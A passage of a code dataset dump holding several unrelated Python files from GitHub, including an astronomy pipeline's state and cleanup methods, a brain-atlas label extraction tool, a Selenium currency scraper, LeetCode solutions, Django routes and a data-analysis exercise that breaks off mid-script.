2) # Jump back from end\n while f.read(1) != b\"\\n\": # Until EOL is found...\n f.seek(-2, 1) # ...jump back the read byte plus one more.\n last_lines = f.readlines() # Read last line.\n\n for line in last_lines:\n if 'returncode 123456' in line:\n can_restart = True\n break\n except IOError:\n can_restart = False\n\n return can_restart\n\n\n def get_steptypes(self):\n \"\"\"\n Returns the step types of completed pipeline steps\n\n Returns\n -------\n steptypes : list\n List of step types\n\n \"\"\"\n import pickle\n\n statefile = os.path.join(self.pipeline_parset_dir, 'statefile')\n if os.path.exists(statefile):\n current_state = pickle.load(open(statefile, 'rb'))\n steptypes = [item[0] for item in current_state[1]]\n else:\n steptypes = []\n\n return steptypes\n\n\n def reset_state_to_steptype(self, steptype):\n \"\"\"\n Resets the pipeline state to before the given steptype\n\n Steptype is the type of the step as defined in the parset under\n step.control.type\n\n Parameters\n ----------\n steptype : str\n Step type from which to alter state\n\n \"\"\"\n import pickle\n\n statefile = os.path.join(self.pipeline_parset_dir, 'statefile')\n current_state = pickle.load(open(statefile, 'rb'))\n steptypes = [item[0] for item in current_state[1]]\n\n # delete steps from the first instance of the given step type\n del_number = steptypes.index(steptype)\n current_state[1] = current_state[1][:del_number]\n\n pickle.dump(current_state, open(statefile, 'wb'))\n\n\n def cleanup(self):\n \"\"\"\n Cleans up temp files in the scratch directories of each node\n \"\"\"\n if self.local_scratch_dir is not None:\n for node in self.node_list:\n if node == 'localhost':\n cmd = ['rm', '-rf', self.local_scratch_dir]\n else:\n cmd = ['ssh', node, 'rm', '-rf', self.local_scratch_dir]\n tmp = subprocess.call(cmd)\n if self.local_selfcal_scratch_dir is not None:\n for node in self.node_list:\n if node == 'localhost':\n cmd = ['rm', '-rf', self.local_selfcal_scratch_dir]\n else:\n cmd = ['ssh', node, 'rm', '-rf', self.local_selfcal_scratch_dir]\n tmp = subprocess.call(cmd)\n\n # Check whether we need to reset the pipeline state to before the sync step\n steptypes = self.get_steptypes()\n if 'sync_files' in steptypes and 'remove_synced_data' not in steptypes:\n self.reset_state_to_steptype('sync_files')\n","repo_name":"lofar-astron/factor","sub_path":"factor/lib/operation.py","file_name":"operation.py","file_ext":"py","file_size_in_byte":16949,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"82"} +{"seq_id":"36331677499","text":"#!/usr/bin/env python\n# Maged Goubran @ 2022, maged.goubran@utoronto.ca \n\n# coding: utf-8\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nimport pandas as pd\nimport nibabel as nib\nimport numpy as np\nimport scipy\n\nfrom miracl import ATLAS_DIR\n\n\ndef helpmsg():\n return ''' \n\n Outputs nifti file with only chosen label\n\n Usage: miracl_utilfn_extract_lbl.py -i [input (registered) labels] -l [output label] -d [down-sample ratio]\n\n Example: miracl_utilfn_extract_lbl.py -i clarity_registered_allen_labels.nii.gz -l PL -m combined -d 5\n \n OR for right PL:\n \n Example: miracl_utilfn_extract_lbl.py -i clarity_registered_allen_labels.nii.gz -l RPL -m split -d 5\n\n Arguments (required):\n\n -i Input (registered) Allen labels \n\n -l Output label (or seed mask) using Allen atlas ontology acronyms\n\n -m Labels are combined or split by side\n\n Optional arguments:\n\n -d Down-sample ratio\n\n '''\n\n # Dependencies:\n # Python 2.7\n\n\ndef parsefn():\n parser = argparse.ArgumentParser(description='', usage=helpmsg())\n\n parser.add_argument('-i', '--inlbls', type=str, help=\"In lbls\", required=True)\n parser.add_argument('-l', '--outlbl', type=str, help=\"Out lbl\", required=True)\n parser.add_argument('-m', '--side', type=str, help=\"Labels combined or split by side\", required=True)\n parser.add_argument('-d', '--down', type=int, help=\"Down-sample ratio\")\n\n return parser\n\n\ndef parse_inputs(parser, args):\n if isinstance(args, list):\n args, unknown = parser.parse_known_args()\n\n # check if pars given\n\n assert isinstance(args.inlbls, str)\n inlbls = args.inlbls\n\n if not os.path.exists(inlbls):\n sys.exit('%s does not exist ... please check path and rerun script' % inlbls)\n\n assert isinstance(args.outlbl, str)\n outlbl = args.outlbl\n\n if args.down is None:\n d = 1\n print(\"\\n down-sample ratio not specified ... preserving resolution \")\n else:\n assert isinstance(args.down, int)\n d = args.down\n\n if args.side is None:\n m = 'combined'\n else:\n m = args.side\n\n return inlbls, outlbl, d, m\n\n\ndef downsample_mask(atlas, down):\n ''' Downsample the atlas image by down, which indicates the downsampling factor\n '''\n # extract lbl\n print(\"\\n reading input labels ...\")\n\n # in python\n inlblsdata = atlas.copy()\n \n if down > 1:\n print(\"\\n down-sampling mask\")\n \n down_factor = (1.0 / int(down))\n inlblsdata = scipy.ndimage.interpolation.zoom(inlblsdata, down_factor, order=0)\n\n return inlblsdata\n\n\ndef get_label_id(label, side='combined'):\n ''' Return the label id for a given Allen atlas label acronym. \n '''\n # read Allen ontology\n if side == \"combined\":\n annot_csv = pd.read_csv('%s/ara/ara_mouse_structure_graph_hemi_combined.csv' % ATLAS_DIR)\n else:\n annot_csv = pd.read_csv('%s/ara/ara_mouse_structure_graph_hemi_split.csv' % ATLAS_DIR)\n\n # outlbl to lblid\n lbl_id = annot_csv.id[annot_csv.acronym == \"%s\" % label].values[0]\n\n return lbl_id\n\n\ndef mask_label(mask, lblid):\n ''' Return all voxels in mask that have the same value as label\n '''\n # extract lbl\n print(\"\\n extracting label ...\")\n res = mask.copy() # create a copy of the mask\n\n res[res != lblid] = 0\n res[res > 0] = 1 # binarize\n\n return res\n\ndef extract_label(atlas, lbl, down=1, side='combined'):\n mask = downsample_mask(atlas, down) # downsample the mask by the factor\n lbl_id = get_label_id(lbl, side) # extract the label id\n res = mask_label(mask, lbl_id)\n\n return res\n\n# ---------\n\ndef main(args):\n # parse in args\n parser = parsefn()\n inlbls, outlbl, d, m = parse_inputs(parser, args)\n\n # extract lbl\n print(\"\\n reading input labels ...\")\n\n # in python\n inlblsnii = nib.load(\"%s\" % inlbls)\n inlblsdata = inlblsnii.get_data()\n\n mask = extract_label(inlblsdata, outlbl, d, m)\n \n # # assuming iso resolution\n # vx = inlblsnii.header.get_zooms()[0]\n \n # outvox = vx * d\n \n # mat = np.eye(4) * outvox\n # mat[3, 3] = 1\n \n outnii = \"%s_mask.nii.gz\" % outlbl\n \n # extract lbl\n print(\"\\n saving label image ...\")\n \n masknii = nib.Nifti1Image(mask, inlblsnii.affine)\n nib.save(masknii, outnii)\n\n # outnii = \"%s_mask.nii.gz\" % outlbl\n\n # print(lblid)\n\n # subprocess.check_call(\"c3d %s -threshold %s %s 1 0 -o %s\" % (inlbls, lblid, lblid, outnii),\n # shell=True, stderr=subprocess.STDOUT)\n\n\n\nif __name__ == \"__main__\":\n main(sys.argv)\n","repo_name":"AICONSlab/MIRACL","sub_path":"miracl/utilfn/miracl_utilfn_extract_lbl.py","file_name":"miracl_utilfn_extract_lbl.py","file_ext":"py","file_size_in_byte":4592,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"82"} +{"seq_id":"33249814354","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Aug 18 14:01:45 2019\r\n\r\n@author: Ryosuke Mori\r\n\"\"\"\r\n\r\nimport chainer\r\n\r\nfrom PIL import Image\r\n\r\ntrain, test = chainer.datasets.get_mnist()\r\ndata = test[9][0]\r\n\r\nimg = Image.new(\"L\", (28,28))\r\npix = img.load()\r\n\r\nfor i in range(28):\r\n for j in range(28):\r\n pix[i,j] = int(data[i+j*28]*256)\r\n \r\n#img2 = img.resize((280,280))\r\n\r\nimg.save(\"mnist_test.png\")","repo_name":"rmori320/gitpages_otameshi","sub_path":"mnist_save.py","file_name":"mnist_save.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72824399627","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Automação Web e Busca de Informações com Python\n# \n# #### Problema: \n# Necessidade de atualização constante das cotações do dolar, euro e ouro para atualizar uma base de dados que tem essas moedas como parâmetro para precificação dos seus produtos. Então é necessário buscar a cotação de cada uma das moedas, atualizar o valor do câmbio na base de dados e atualizar o valor de compra e venda dos produtos.\n# \n# #### Solução: \n# Uma automação web com Selenium para buscar, de forma automática, a cotação desses 3 itens e atualizar o valor dos produtos na base de dados nativa.\n# \n\n# In[32]:\n\n\n# importar webdriver (para comandar navegador), keys (para usar teclas) e by (para localizar na tela)\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\n\n#criar o navegador\nnavegador = webdriver.Chrome()\n\n#entrar no google\nnavegador.get(\"https://www.google.com/\")\n\n#localizar a barra de pesquisa com o By a partir do XPATH ' ' e então usar o Keys para escrever a pesquisa e clicar enter\nnavegador.find_element(By.XPATH, \n '/html/body/div[1]/div[3]/form/div[1]/div[1]/div[1]/div/div[2]/input').send_keys(\"cotação dólar\", Keys.ENTER)\n\n#como o google já disponibiliza o valor da cotação sem a necessidade de entrar em algum site, basta localizar o elemento onde é armazenada a cotação e atribuir a uma variável\ncotacao_dolar = navegador.find_element(By.XPATH, \n '//*[@id=\"knowledge-currency__updatable-data-column\"]/div[1]/div[2]/span[1]').get_attribute('data-value')\n\n# repetir o mesmo passo a passo para a cotação do euro\nnavegador.get(\"https://www.google.com/\")\nnavegador.find_element(By.XPATH, \n '/html/body/div[1]/div[3]/form/div[1]/div[1]/div[1]/div/div[2]/input').send_keys(\"cotação euro\", Keys.ENTER)\n\ncotacao_euro = navegador.find_element(By.XPATH, \n '//*[@id=\"knowledge-currency__updatable-data-column\"]/div[1]/div[2]/span[1]').get_attribute('data-value')\n\n# para cotação ouro vamos utilizar um site de cambio específico\nnavegador.get(\"https://www.melhorcambio.com/ouro-hoje\")\ncotacao_ouro = navegador.find_element(By.XPATH, '//*[@id=\"comercial\"]').get_attribute('value')\n\n# fechar navegador\nnavegador.quit()\n\nprint(\"Cotação do dólar: \" + cotacao_dolar)\nprint(\"Cotação do euro: \" + cotacao_euro )\nprint(\"Cotação do ouro com vírgula: \" + cotacao_ouro + \"\\n\")\n\n# o python separa casas decimais por . então é necessário substituir o sinal gráfico da cotação do ouro, que foi importada com ,\n\ncotacao_ouro = cotacao_ouro.replace(\",\", \".\")\n\nprint(\"Cotação do ouro atualizada: \" + cotacao_ouro)\n\n\n# ### Atualização da base de preços com as novas cotações\n\n# - Importando a base de dados\n\n# In[33]:\n\n\n# importar o pandas \nimport pandas as pd\n\n# importar e visualizar a base de dados\ntabela_produtos = pd.read_excel(\"Produtos.xlsx\")\nprint(\"\\n Tabela original: \")\ndisplay(tabela_produtos)\n\n\n# - Atualizando os preços e o cálculo do Preço Final\n\n# In[34]:\n\n\n# filtrar as linhas e colunas onde as devidas atualizações devem sem implementadas utilizando o .loc\n# .loc[linha, coluna]\n\ntabela_produtos.loc[tabela_produtos[\"Moeda\"]==\"Dólar\", \"Cotação\"] = float(cotacao_dolar)\ntabela_produtos.loc[tabela_produtos[\"Moeda\"]==\"Euro\", \"Cotação\"] = float(cotacao_euro)\ntabela_produtos.loc[tabela_produtos[\"Moeda\"]==\"Ouro\", \"Cotação\"] = float(cotacao_ouro)\n\nprint(\"\\n Tabela com cotação atualizada: \\n\")\ndisplay(tabela_produtos)\n\n#atualizar preço de compra (compra = preço original * cotação)\ntabela_produtos[\"Preço de Compra\"]= tabela_produtos[\"Preço Original\"] * tabela_produtos[\"Cotação\"]\n\n#atualizar preço de venda (venda = preço de compra * margem)\ntabela_produtos[\"Preço de Venda\"] = tabela_produtos[\"Preço de Compra\"] * tabela_produtos[\"Margem\"]\n\nprint(\"\\nTabela com valores atualizados: \\n\")\ndisplay(tabela_produtos)\n\n\n# ### Exportação da nova base de preços atualizada\n\n# In[35]:\n\n\n# substituir o arquivo original pela tabela atualizada exportando a tabela com o mesmo nome do arquivo original (escrevi um nome diferente para não perder a base antiga)\n\ntabela_produtos.to_excel(\"Produtos_atualizados.xlsx\", index=False)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"ferrnandaluiza/exe_python","sub_path":"Exercício 02/Exercicio02_automacao_cotacoes.py","file_name":"Exercicio02_automacao_cotacoes.py","file_ext":"py","file_size_in_byte":4320,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"23726235194","text":"\"\"\"https://leetcode.com/problems/longest-substring-with-at-most-two-distinct-characters/\"\"\"\nfrom collections import defaultdict\n\n\nclass Solution:\n def lengthOfLongestSubstringTwoDistinct(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n if not s:\n return 0\n char_counts = defaultdict(int)\n start = end = length = counter = 0\n\n while end < len(s):\n end_char = s[end]\n char_counts[end_char] += 1\n if char_counts[end_char] == 1:\n counter += 1\n end += 1\n\n while counter > 2:\n start_char = s[start]\n char_counts[start_char] -= 1\n if char_counts[start_char] == 0:\n counter -= 1\n start += 1\n\n length = max(end - start, length)\n\n return length\n\n\na = Solution()\nprint(a.lengthOfLongestSubstringTwoDistinct('aa'))\nprint(a.lengthOfLongestSubstringTwoDistinct('AACBABACDDCDABD'))","repo_name":"danong/leetcode-solutions","sub_path":"solutions/longest_substring_with_at_most_two_distinct_characters.py","file_name":"longest_substring_with_at_most_two_distinct_characters.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70536826507","text":"\"\"\"\nRather than duplicating entire chunks of ini files\nhave a master file and recreate the differnece\n\"\"\"\nimport re\n\n#-------------------------------------------------------------------------------\n# Constants\n#-------------------------------------------------------------------------------\n\nversion = \"0.0\"\n\n\n#-------------------------------------------------------------------------------\n# Merge INI\n#-------------------------------------------------------------------------------\nini_group = None\n\n\ndef make_ini(master_filename, diff_filename, destination_filename):\n\n def split_line(line):\n try:\n key, value = tuple(line.split('='))\n key = key.strip()\n return (key, value)\n except ValueError:\n return (None, None)\n\n def update_ini_group(line):\n try:\n global ini_group\n ini_group = re.match('\\[(.*)\\]', line).group(1)\n return True\n except: # IndexError, AttributeError\n return False\n\n # Extract diff from inidiff\n diff_data = {}\n with open(diff_filename, 'r') as diff_file:\n for line in diff_file:\n #print(line)\n try:\n if update_ini_group(line):\n diff_data[ini_group] = {}\n except: # IndexError, AttributeError\n pass\n key, value = split_line(line)\n diff_data[ini_group][key] = value\n\n with open(master_filename, 'r') as master:\n with open(destination_filename, 'w') as destination:\n for line in master:\n update_ini_group(line)\n key, value = split_line(line)\n if key and key in diff_data.get(ini_group,{}):\n line = '{0} = {1}'.format(key, diff_data[ini_group][key])\n destination.write(line)\n\n\ndef get_ini_to_make():\n #ls *.inidiff\n return ['test', 'production'] # temp for now\n\n\n#-------------------------------------------------------------------------------\n# Command Line\n#-------------------------------------------------------------------------------\n\ndef get_args():\n import argparse\n\n parser = argparse.ArgumentParser(\n description=\"\"\"Make the ini files\"\"\",\n epilog=\"\"\"\"\"\"\n )\n parser.add_argument('source', help='')\n parser.add_argument('diff', help='diff')\n parser.add_argument('destination', help='destination ini filename')\n parser.add_argument('--version', action='version', version=version)\n\n args = vars(parser.parse_args())\n #args['destination'] = args['destination'] or f'{args[\"ini\"]}.ini'\n #args['diff'] = args['diff'] or f'{args[\"ini\"]}.inidiff'\n\n return args\n\n\ndef main():\n args = get_args()\n make_ini(args['source'], args['diff'], args['destination'])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"calaldees/libs","sub_path":"python3/calaldees/apps/make_ini.py","file_name":"make_ini.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3952779652","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec 10 20:16:04 2019\r\n\r\n@author: wenbin\r\n\"\"\"\r\n\r\n\"\"\"\r\n给定一个数组,找出数组中是否有两个数对(a , b)和(c , d),使得a+b=c+d,其中a , b , c , d是不同的元素.\r\n如果有多种答案,打印任意一个即可.例如给定数组:[3 , 4 , 7 , 10 , 20 , 9 , 8],可以找到两个数对(3 , 8)和(4 , 7),使得3+8=4+7.\r\n\"\"\"\r\n\r\ndef GetSamePairs():\r\n arr = [ 3 , 4 , 7 , 10 , 20 , 9 , 8]\r\n arrnum = len(arr)\r\n sumdict = dict()\r\n for i in range(arrnum):\r\n for j in range( i + 1 , arrnum):\r\n pairsum = arr[i] + arr[j]\r\n if pairsum not in sumdict:\r\n sumdict[pairsum] = (i , j)\r\n else:\r\n sameturple = sumdict[pairsum]\r\n print(\"the same sum pairs are : ( \" , arr[sameturple[0]] , \" , \" , arr[sameturple[1]] , \\\r\n \" ) and ( \" , arr[i] , \" , \" , arr[j] , \" )\" )\r\n return None\r\n print(\"Failing to output the same sum pairs!!!\")\r\n\r\nif __name__ == \"__main__\":\r\n GetSamePairs()","repo_name":"RobinYaoWenbin/Python-CommonCode","sub_path":"python算法/2.10如何对数组中找出满足a+b=c+d的两个数对.py","file_name":"2.10如何对数组中找出满足a+b=c+d的两个数对.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"82"} +{"seq_id":"22956378802","text":"# 242. Valid Anagram\n# https://leetcode.com/problems/valid-anagram/description/\n# case 1\n#s = \"anagram\"\n#t = \"nagaram\"\n# case 2\ns = \"rat\"\nt = \"car\"\n\nfrom collections import Counter\nprint(Counter(s) == Counter(t))","repo_name":"kurokawa5/neetcode","sub_path":"01_array_hashing/242_valid_anagram.py","file_name":"242_valid_anagram.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"8843829027","text":"# '''\n# Created on 1 Dec 2020\n# \n# @author: estudiante\n# '''\n# '''\n# Created on 29 nov. 2020\n# \n# @author: fran\n# '''\n# \ncadena=\"He estudiado mucho\"\n# def contartexto(cadena):\n# numeropalabras=0\n# for i in cadena:\n# caracter=cadena.join(i)\n# if str(caracter)==\" \":\n# numeropalabras+=1\n# return numeropalabras\n# # def contarrcosas(cadena):\n# # numeropalabras=0\n# # for i in cadena:\n# # return numeropalabras \n# print(contartexto(cadena))\n# def ccontartexto(cadena):\n# listapalabras=[]\n# contadorcadena=0\n# contadorpalabra=0\n# while contadorcadena', views.download_complaint_report, name='download_complaint_report'),\n\n]","repo_name":"AzimAhmedBijapur/Grievance-Redressal-System","sub_path":"grs/faculty/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74081700429","text":"\"\"\"\nRuntime: 52 ms, faster than 73.46% of Python3 online submissions for Course Schedule II.\nMemory Usage: 13.9 MB, less than 98.90% of Python3 online submissions for Course Schedule II.\n\"\"\"\n\nclass Solution:\n def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n indegree = [0 for _ in range(numCourses)]\n advanced_course = collections.defaultdict(list)\n\n for c , p in prerequisites:\n indegree[c] += 1\n advanced_course[p].append(c)\n\n queue = collections.deque([c for c , e in enumerate(indegree) if e == 0])\n res = []\n\n while queue:\n curr = queue.popleft()\n res.append(curr)\n for c in advanced_course[curr]:\n indegree[c] -= 1\n if indegree[c] == 0:\n queue.append(c)\n\n return res if len(res) == numCourses else []\n","repo_name":"bigfatmouse9208/Algo_Study_Group","sub_path":"Week7_Graph/leetcode_210.py","file_name":"leetcode_210.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10695393769","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'detentions'\n\nurlpatterns = [\n url(r'^prisonstations/$', views.PrisonStationListView.as_view(), name='browse_prisonstations'),\n url(r'^prisonstation/detail/(?P[0-9]+)$', views.PrisonStationDetailView.as_view(),\n name='prisonstation_detail'),\n url(r'^prisonstation/create/$', views.PrisonStationCreate.as_view(),\n name='prisonstation_create'),\n url(r'^prisonstation/edit/(?P[0-9]+)$', views.PrisonStationUpdate.as_view(),\n name='prisonstation_edit'),\n url(r'^prisonstation/delete/(?P[0-9]+)$', views.PrisonStationDelete.as_view(),\n name='prisonstation_delete'),\n url(r'^personprisons/$', views.PersonPrisonListView.as_view(), name='browse_personprisons'),\n url(r'^personprison/detail/(?P[0-9]+)$', views.PersonPrisonDetailView.as_view(),\n name='personprison_detail'),\n url(r'^personprison/create/$', views.PersonPrisonCreate.as_view(),\n name='personprison_create'),\n url(r'^personprison/edit/(?P[0-9]+)$', views.PersonPrisonUpdate.as_view(),\n name='personprison_edit'),\n url(r'^personprison/delete/(?P[0-9]+)$', views.PersonPrisonDelete.as_view(),\n name='personprison_delete'),\n]\n","repo_name":"acdh-oeaw/daacda-go-digital","sub_path":"detentions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26959445803","text":"import numpy as np\nimport tensorflow as tf\nimport os\n\nclass Model:\n\n saved_speed_model = 'speed_model/'\n saved_angle_model = 'angle_model/'\n def __init__(self):\n self.speed_model = tf.keras.models.load_model(os.path.join(os.path.dirname(os.path.abspath(__file__)), self.saved_speed_model))\n self.angle_model = tf.keras.models.load_model(os.path.join(os.path.dirname(os.path.abspath(__file__)), self.saved_angle_model))\n\n def preprocess(self, image):\n im = tf.image.convert_image_dtype(image, tf.float32)\n im = tf.image.resize(im, [100, 100])\n im = tf.expand_dims(im, axis=0)\n return im\n\n def predict(self, image):\n angles = np.arange(17)*5+50\n image = self.preprocess(image)\n \n pred_speed = self.speed_model.predict(image)[0]\n speed = pred_speed[0].astype(int)*35\n pred_angle = self.angle_model.predict(image)[0]\n angle = angles[np.argmax(pred_angle)]\n print('angle:', angle,'speed:', speed)\n \n return angle, speed\n","repo_name":"Srushanth/MLiS-II-Project-Programming-an-Autonomous-Driving-Car","sub_path":"Transfer_Learning/autopilot-main/autopilot/models/maggie/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"17934315579","text":"import json\nfrom datetime import datetime\n\ndef lambda_handler(event, context):\n # Data e hora para registrar na mensagem\n data_hora = (datetime.now()).strftime(\"%Y-%m-%d %H:%M:%S\")\n\n # Dados da mensagem vindos via HTTP POST\n # Deve haver chaves key1 em event[]\n s = event['key1']\n\n body=[\n {\n 'data_hora': data_hora,\n 'msg': s\n }\n ]\n\n return {\n # Sucesso\n 'statusCode': 200,\n 'body': json.dumps(body)\n }\n","repo_name":"RodrigoRochas/IMPACTA","sub_path":"3°SEMESTRE/Ambiente de Desenvolvimento e Operação - DevOps/Aula06/Lambda01.py","file_name":"Lambda01.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29453484691","text":"###############################################################################\n#\n# Python 3\n#\n# Wcięcia realizowane są czterema spacjami.\n#\n# Doczytanie bibliotek numpy i matplotlib:\n# pip install numpy\n# pip install matplotlib\n#\n# Uruchamianie skryptu:\n#python dane.py\n# albo wymuszając Pythona 3 gdy nie jest on domyślny:\n# py -3 dane.py\n#\n###############################################################################\n#\n# Plik dane.csv zawiera dane zbierane na węźle ciepłowniczym przez \n# przedsiębiorstwo dostarczające ciepło do budynku (patrz opisy kolumn w pliku). \n# Niniejszy skrypt dokonuje podstawowej analizy tych danych.\n#\n# A.\n# Wczytanie obserwacji dla wybranych zmiennych.\n#\n# B.\n# Sprawdzenie podstawowych statystyk dla poszczególnych zmiennych.\n# Wykreślenie histogramów.\n#\n# C.\n# Identyfikacja zmiennych, w których występują potencjalnie błędne dane (obserwacje)\n# lub braki danych. Naprawa danych.\n#\n# D.\n# Obliczenie unormowanych korelacji pomiędzy poszczególnymi zmiennymi.\n#\n# E.\n# Przeprowadzenie regresji liniowej dla wybranych zmiennych, wraz z wykresami.\n#\n###############################################################################\n\n\nimport csv\n\n# from matplotlib.backends.backend_pdf import PdfPages\n# pp = PdfPages('multipage.pdf')\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n#######################\n# A. Wczytanie danych #\n#######################\nfrom matplotlib.backends.backend_pdf import PdfPages\n\nprzeplyw = [] # Przepływ wody przez węzeł\ntemp_in = [] # Temperatura wody na wejściu do węzła\ntemp_out = [] # Temperatura wody na wyjściu z węzła \nroznica_temp = [] # Różnica temperatur, wynikająca z oddanej energii w węźle\nmoc = [] # Moc oddana w węźle\n\n\nplik = open('dane.csv', 'rt')\ndane = csv.reader(plik, delimiter=',')\nnext(dane) # Opuszczamy pierwszy wiersz\nfor obserwacja in dane: # Iterujemy po poszczególnych obserwacjach.\n przeplyw.append(float(obserwacja[6]))\n temp_in.append(float(obserwacja[7]))\n temp_out.append(float(obserwacja[8]))\n roznica_temp.append(float(obserwacja[9]))\n moc.append(float(obserwacja[12]))\nplik.close()\n\n\n### ZADANIE (0.5p.) ###\n# Dane w listach są ułożone od najnowszych do najstarszych.\n# Odwrócić dane na listach tak, żeby były ułożone chronologicznie.\n### KONIEC ###\n\noprzeplyw = reversed(przeplyw)\notemp_in = reversed(temp_in)\notemp_out = reversed(temp_out)\noroznica_temp = reversed(roznica_temp)\nomoc = reversed(moc)\n\n# for i in oprzeplyw:\n# print(i)\n\n \n# Tworzymy słownik: kluczem jest nazwa zmiennej a wartością - zmienna\nzmienne = {\"temp_in\":temp_in, \"temp_out\":temp_out, \"roznica_temp\":roznica_temp, \"przeplyw\":przeplyw, \"moc\":moc}\n\n\n######################################\n# B. Podstawowe statystyki i wykresy #\n######################################\n \n# Iterujemy po słowniku, wyświetlając statystyki dla poszczególnych zmiennych\nfor nazwa,zmienna in zmienne.items():\n print()\n print(\"Zmienna:\",nazwa)\n print(\"MIN:\", min(zmienna))\n print(\"MAX:\", max(zmienna))\n print(\"ŚREDNIA:\", np.mean(zmienna))\n print(\"MEDIANA:\", np.median(zmienna))\n print(\"ZAKRES:\", np.ptp(zmienna))\n print(\"ODCHYLENIE STANDARDOWE:\", np.std(zmienna))\n print(\"WARIANCJA:\", np.var(zmienna))\n print(\"PERCENTYL 90%:\", np.percentile(zmienna,90) )\n print(\"HISTOGRAM:\", np.histogram(zmienna))\n\n # Czcionka do wykresów, z polskimi znakami.\n plt.rc('font', family='Arial')\n\n # Wykres - histogram\n plt.hist(zmienna, 100)\n plt.title('Histogram dla: ' + nazwa)\n plt.xlabel('Przedział')\n plt.ylabel('Liczba obserwacji')\n plt.show()\n\n\n############################################\n# C. Analiza anomalii i czyszczenie danych #\n############################################\n\n# Zidentyfikowaliśmy problem - \"dziwne\", znacząco za duże niektóre wartości dla zmiennych:\nzmienne_do_naprawienia = {\"roznica_temp\":roznica_temp, \"przeplyw\":przeplyw, \"moc\":moc}\n\nprint()\nprint(\"CZYSZCZENIE DANYCH\")\n\nfor nazwa,zmienna in zmienne_do_naprawienia.items():\n for index,wartosc in enumerate(zmienna): # Iterujemy po wszystkich obserwacjach\n # Zakładamy (na podstawie analizy danych), że anomalia to wartość powyżej 10000\n if (wartosc > 10000):\n print(\"Dla zmiennej {} pod indeksem {} znaleziono anomalię o wartości {}\".format(nazwa, index, wartosc))\n # Wstawiamy medianę:\n mediana = np.median(zmienna)\n print(\"Naprawiam. Stara wartość: {}, nowa wartość: {}\".format(zmienna[index], mediana))\n zmienna[index] = mediana\n\n# Statystyki dla naprawionych zmiennych\nfor nazwa,zmienna in zmienne.items():\n print()\n print(\"Zmienna (naprawiona):\",nazwa)\n print(\"MIN:\", min(zmienna))\n print(\"MAX:\", max(zmienna))\n print(\"ŚREDNIA:\", np.mean(zmienna))\n print(\"MEDIANA:\", np.median(zmienna))\n print(\"ZAKRES:\", np.ptp(zmienna))\n print(\"ODCHYLENIE STANDARDOWE:\", np.std(zmienna))\n print(\"WARIANCJA:\", np.var(zmienna))\n print(\"PERCENTYL 90%:\", np.percentile(zmienna,90))\n print(\"HISTOGRAM:\", np.histogram(zmienna))\n\n with PdfPages(\"{}.pdf\".format(nazwa)) as pdf:\n plt.hist(zmienna, 100)\n plt.title('Histogram dla: ' + nazwa)\n plt.xlabel('Przedział')\n plt.ylabel('Liczba obserwacji')\n pdf.savefig()\n plt.show()\n\n\n# ### ZADANIE (1.5p.) ###\n# # Zapisać powyższe statystyki i wykresy do plików PDF, osobnych dla poszczególnych zmiennych\n# # (można wykorzystać dowolny moduł/bibliotekę).\n# ### KONIEC ###\n#\n#\n#########################################\n# D. Badanie korelacji między zmiennymi #\n#########################################\n\nprint()\nprint(\"KORELACJE\")\n\n# Piszemy funkcję, która zwróci korelację unormowaną między zestawami danych\ndef ncorrelate(a,b):\n '''Funkcja zwraca unormowaną wartość korelacji'''\n a = (a - np.mean(a)) / (np.std(a) * len(a))\n b = (b - np.mean(b)) / np.std(b)\n return np.correlate(a, b)[0]\n\n# Badamy korelacje między wszystkimi (różnymi od siebie) zmiennymi\nfor nazwa1,zmienna1 in zmienne.items():\n for nazwa2,zmienna2 in zmienne.items():\n if nazwa1 != nazwa2:\n print(\"Korelacja między\", nazwa1,\"a\", nazwa2,\"wynosi:\", end=\" \")\n print(ncorrelate(zmienna1,zmienna2))\n\n#Przykładowe wykresy\n\n# 1. Zmienne z dużą korelacją dodatnią: moc, przeplyw\n\n# Wykres liniowy\nplt.plot(range(len(moc)), moc, \"x\")\nplt.plot(range(len(przeplyw)), przeplyw, \"+\")\nplt.title(\"Duża korelacja dodatnia\")\nplt.ylabel('x: moc; +: przeplyw')\nplt.xlabel('Numer obserwacji')\nplt.show()\n\n# Dla lepszej 